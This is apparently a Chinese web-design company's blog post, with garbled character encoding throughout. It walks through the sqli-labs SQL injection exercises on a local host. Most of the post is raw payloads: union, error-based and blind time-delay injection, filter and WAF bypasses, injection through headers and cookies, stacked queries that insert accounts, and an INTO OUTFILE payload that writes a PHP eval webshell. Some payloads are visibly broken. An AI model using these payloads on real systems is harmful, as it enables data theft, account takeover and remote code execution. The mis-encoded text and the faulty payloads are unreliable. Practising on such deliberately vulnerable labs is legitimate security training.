下文內(nèi)容主要給大家?guī)鞰ySQL手工如何注入詳解,這里所講到的知識,與書籍略有不同,都是創(chuàng)新互聯(lián)專業(yè)技術(shù)人員在與用戶接觸過程中,總結(jié)出來的,具有一定的經(jīng)驗分享價值,希望給廣大讀者帶來幫助。
創(chuàng)新互聯(lián)致力于網(wǎng)站設(shè)計、做網(wǎng)站,成都網(wǎng)站設(shè)計,集團(tuán)網(wǎng)站建設(shè)等服務(wù)標(biāo)準(zhǔn)化,推過標(biāo)準(zhǔn)化降低中小企業(yè)的建站的成本,并持續(xù)提升建站的定制化服務(wù)水平進(jìn)行質(zhì)量交付,讓企業(yè)網(wǎng)站從市場競爭中脫穎而出。 選擇創(chuàng)新互聯(lián),就選擇了安全、穩(wěn)定、美觀的網(wǎng)站建設(shè)服務(wù)!
http://127.0.0.1/sql/Less-1/?id=1
加’可知可能是字符型注入
用and來確認(rèn)
說明存在注入
order by查詢字段數(shù)
存在3個字段
union select查詢在頁面中顯示的位置
查詢數(shù)據(jù)庫
查詢表
查字段
查內(nèi)容
數(shù)字型的
使用’可知可能是拼接型的字符型注入
使用and判斷
確定是注入點
order by查詢字段數(shù)
使用’以及數(shù)值型無法判斷,使用%81也無法判斷,使用”發(fā)現(xiàn)可能是雙引號型的注入,并且是帶括號的
使用and
order by
使用’可知可能是字符型注入
使用and
初步確定注入
order by確定字段數(shù)
union select查看頁面中顯示位置
失敗,對于注入時沒有在頁面中顯示位置的可使用雙查詢注入方法!
使用雙查詢注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入語句))a from information_schema.tables group by a)b -- -
查詢表
太多顯示不了,使用limit查詢
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -
' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
使用’以及數(shù)值型注入無法判斷,使用寬字節(jié)無法判斷,使用”進(jìn)行判斷可知是雙引號型的字符注入
使用and
order by
union select
無返回顯示位,使用雙查詢注入
使用’以及數(shù)值型無法判斷,根據(jù)less2,猜測可能存在有括號的情況
嘗試把后面的一個and換成注釋,發(fā)現(xiàn)失敗
猜測可能后面還有一個括號注釋不了
使用雙括號試試
使用order by
使用union select
沒有回顯,使用雙查詢注入失敗
使用mid函數(shù)進(jìn)行盲注
判斷數(shù)據(jù)庫長度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
查詢表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -
LIMIT 0,1),1,1
0,1第一張表是否存在,一次性查詢一張表
1,1第一個字符是否存在,一次性查詢一個字符
查詢字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -
查內(nèi)容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
')) and(ascii(substr((select(database())),8,1))>1) and sleep(5) -- -
可單獨使用
')) and(ascii(substr((select(database())),8,1))>1) -- -
使用’以及and可知存在注入
order by
union select不返回顯示位
使用雙查詢注入失敗
使用mid
數(shù)據(jù)庫總共有8個字符
使用’以及數(shù)值型無法判斷,使用寬字節(jié)無法判斷,使用帶括號無法判斷,使用sleep判斷
帶’試試
初步判斷為基于時間的盲注
使用and
使用mid
使用ascii
' and(ascii(substr((select(database())),9,1))>1) and sleep(5) and '1'='1
使用’以及數(shù)值型無法判斷,使用寬字節(jié)無法判斷,使用帶括號無法判斷,使用sleep判斷,以及使用單引號的sleep也無法判斷出,根據(jù)less4猜測可能是雙引號
使用mid
獲取請求頭參數(shù)
post注入
對uname進(jìn)行注入探測
使用’判斷可能存在注入
使用or進(jìn)行進(jìn)一步探測(主要是使用萬能語句來判斷,根據(jù)是否成功登陸,使用and的話想對麻煩點)
在使用and來進(jìn)一步注入
常規(guī)字符注入
使用雙查詢
使用mid
使用’以及數(shù)值型無法判斷,使用寬字節(jié)無法判斷,使用雙引號判斷可能存在注入,且是帶括號型的
使用or
order by
union select
使用’可知是字符型的,且是帶括號的
使用and
order by
union select無返回顯示位
使用雙查詢
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
使用’ 以及 or 以及order by
union select不返回顯示位,雙查詢失敗
使用sleep試試
這里提示是密碼重置,應(yīng)該是使用update更新語句,在insert、update、delete用法一致的時候,使用payload
or updatexml(2,concat(0x1,(注入語句)),0) or '
and extractvalue(1, concat(0x7f, (select version()),0x7f))
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
通過頁面查看可知本題注入存在于http請求包里面(如果沒有提示的話就得先嘗試登錄框)!
簡單使用’對host以及User-Agent判斷,可知注入點可能是User-Agent
使用and,or,無法進(jìn)一步判斷,使用sleep進(jìn)行嘗試
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
referer字段可能存在注入
使用’
使用and or失敗,使用sleep
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
使用’
使用and
union
使用雙查詢
可知cookie是通過base64編碼的
使用’
使用admin') and 1=1 -- -
使用admin') and 1=2 -- -
使用order by
union
admin') and 1=2 union select 1,2,3 -- -
使用’以及數(shù)值型,以及寬字節(jié)均無法判斷,使用”可初步判斷
使用and
使用admin" and 1=2 union select 1,2,3-- -
使用’
使用and
使用雙查詢失敗
使用顯錯注入
or updatexml(2,concat(0x1,(注入語句)),0) or '
使用子查詢
' and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
在登錄的地方,請求的地方均未發(fā)現(xiàn)存在有注入,登錄進(jìn)去后發(fā)現(xiàn)有一個密碼重置功能,考慮可能是update語句,可使用顯錯注入,但是提交的時候抓包沒發(fā)現(xiàn)重置密碼是提交的用戶名,此時考慮可能存在二次注入。
最基本的一個利用方法如下,已知系統(tǒng)中存在有admin這個賬戶,此時我們注冊一個admin’ -- -的用戶,登錄進(jìn)去后進(jìn)行修改密碼,這里按理解應(yīng)該是修改admin’ -- -用戶的密碼,其實不然這是修改admin賬戶的密碼,即使我們不知道admin的原密碼。
由于數(shù)據(jù)庫設(shè)置了用戶名長度,懶得改了,應(yīng)該是可以使用顯錯注入的!
使用’
使用and或or
可知過濾了and和or關(guān)鍵字,使用大小寫失敗
使用雙重嵌套,在and里面嵌套一個and
也可以使用&&的URL編碼%26%26
使用order by
使用’無法判斷,使用數(shù)值型可判斷
使用aandnd 1=1
使用’
使用and
過濾了空格以及注釋,以及上一關(guān)的and,or,這個可以使用嵌套繞過,或者使用其符號(&& ||)的URL編碼進(jìn)行繞過!
不使用空格及注釋,使用&&或者||然后在使用顯錯注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
但是如果想繼續(xù)往下查詢就會發(fā)現(xiàn)空格怎么都需要啊,因此使用其他字符的編碼進(jìn)行繞過,linux使用%0a,windows使用%0a%0d,有時使用%0a也是可以的,但是我的環(huán)境就沒有成功,通過對比可能是我mysql版本問題導(dǎo)致,因此根據(jù)自身環(huán)境來進(jìn)行測試,為了忽略這個,因此后面的幾關(guān)凡是涉及到過濾空格的代碼我均進(jìn)行注釋掉,你們只需要知道空格可以使用上面的編碼代替即可!
使用’
使用and
過濾了and,注釋
最后一個截圖我們可知查出來的依舊是id=1的數(shù)據(jù),這里考慮可能存在括號
帶上括號試試
不能使用order by,過濾了*不能使用子查詢,不顯示mysql錯誤信息,不能使用顯錯注入,使用union select進(jìn)行猜測
也可以這樣使用2') aandnd 1=2 union select 1,2,('3
使用’
使用and
過濾了注釋
對于過濾了注釋,所以后面的’就不能注釋,所以可以考慮使用雙查詢以及報錯注入進(jìn)行嘗試
使用雙查詢
過濾了union select
使用嵌套
過濾了*好,不能使用雙查詢,因此接著使用顯錯注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
查詢表,從上可知select使用嵌套不能繞過,因此使用大小寫混淆進(jìn)行嘗試
使用’以及數(shù)值型注入以及寬字節(jié)均無法進(jìn)行判斷,使用雙引號進(jìn)行判斷
使用and
過濾了注釋
過濾了注釋,使用雙查詢或顯錯注入進(jìn)行嘗試
過濾了*,不能使用雙查詢,不顯示mysql錯誤信息,不能使用顯錯注入
使用union select進(jìn)行猜測
使用'
使用and
過濾了注釋
可能存在有括號的情況
不顯示mysql錯誤信息不能使用顯錯注入,過濾了*不能使用雙查詢和子查詢
使用union select進(jìn)行猜測
過濾了union 和select,使用嵌套失敗
過濾了union select以及后面的一個空格(使用%a0可進(jìn)行繞過,借的圖)
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
同28,但是可以使用注釋符
使用order by
使用union select,同28
使用ascii
使用’
說明有一定的防護(hù),此時我們可以嘗試下編碼,但是沒成功,我們使用HPP(參數(shù)污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 進(jìn)行下一步的嘗試
使用’
使用and
使用’說明有防護(hù),編碼繞過失敗,使用HPP
使用’以及數(shù)值型,寬字節(jié)型失敗,使用”
同上探測
說明帶括號雙引號
使用’
從上面可以簡單看出本關(guān)使用寬字節(jié),但是我們依舊按照上面的步驟進(jìn)行,使用數(shù)值型無法判斷,使用寬字節(jié)(http://eth20.blog.51cto.com/13143704/1962804 )初步判斷可能存在注入
使用and
在查詢表的時候使用十六進(jìn)制
同上???
使用’,使用數(shù)值型無法進(jìn)行判斷,使用寬字節(jié)
使用or
使用雙查詢
使用’失敗
使用數(shù)值型
使用order by
同32
同34???
同1,另外就是可以使用;來進(jìn)行多條語句的執(zhí)行
';insert into users(id,username,password) values ('39','eth20','eth20')--+
同2
使用’
使用and
不能使用注釋,或者說明后面可能還存在括號
使用子查詢失敗,使用顯錯失敗,使用盲注
使用盲注ascii(可以使用基于時間的)
' and(ascii(substr((select(database())),8,1))>1) and '1'='1
');insert into users(id,username,password) values ('40','eth20','eth20'); and ('1'='1
同39
用戶名隨意
密碼:1';insert into users(id,username,password) values ('42','eth20','eth20')-- -
密碼:1');insert into users(id,username,password) values ('42','eth20','eth20')-- -
同42
同43
通過對比可知注入點是order by后面的參數(shù)
使用desc進(jìn)行對比
使用報錯
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
下面這種對于limit后的注入依舊適用
導(dǎo)出文件,寫馬
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth20.php" lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
通46,只是是字符型的
' procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
使用延時注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
同46,不能使用顯錯可使用盲注
使用rand
rand(ascii(left(database(),1))=116)
同47,沒錯誤回顯
延時盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -
對于以上關(guān)于mysql手工如何注入詳解,如果大家還有更多需要了解的可以持續(xù)關(guān)注我們創(chuàng)新互聯(lián)的行業(yè)推新,如需獲取專業(yè)解答,可在官網(wǎng)聯(lián)系售前售后的,希望該文章可給大家?guī)硪欢ǖ闹R更新。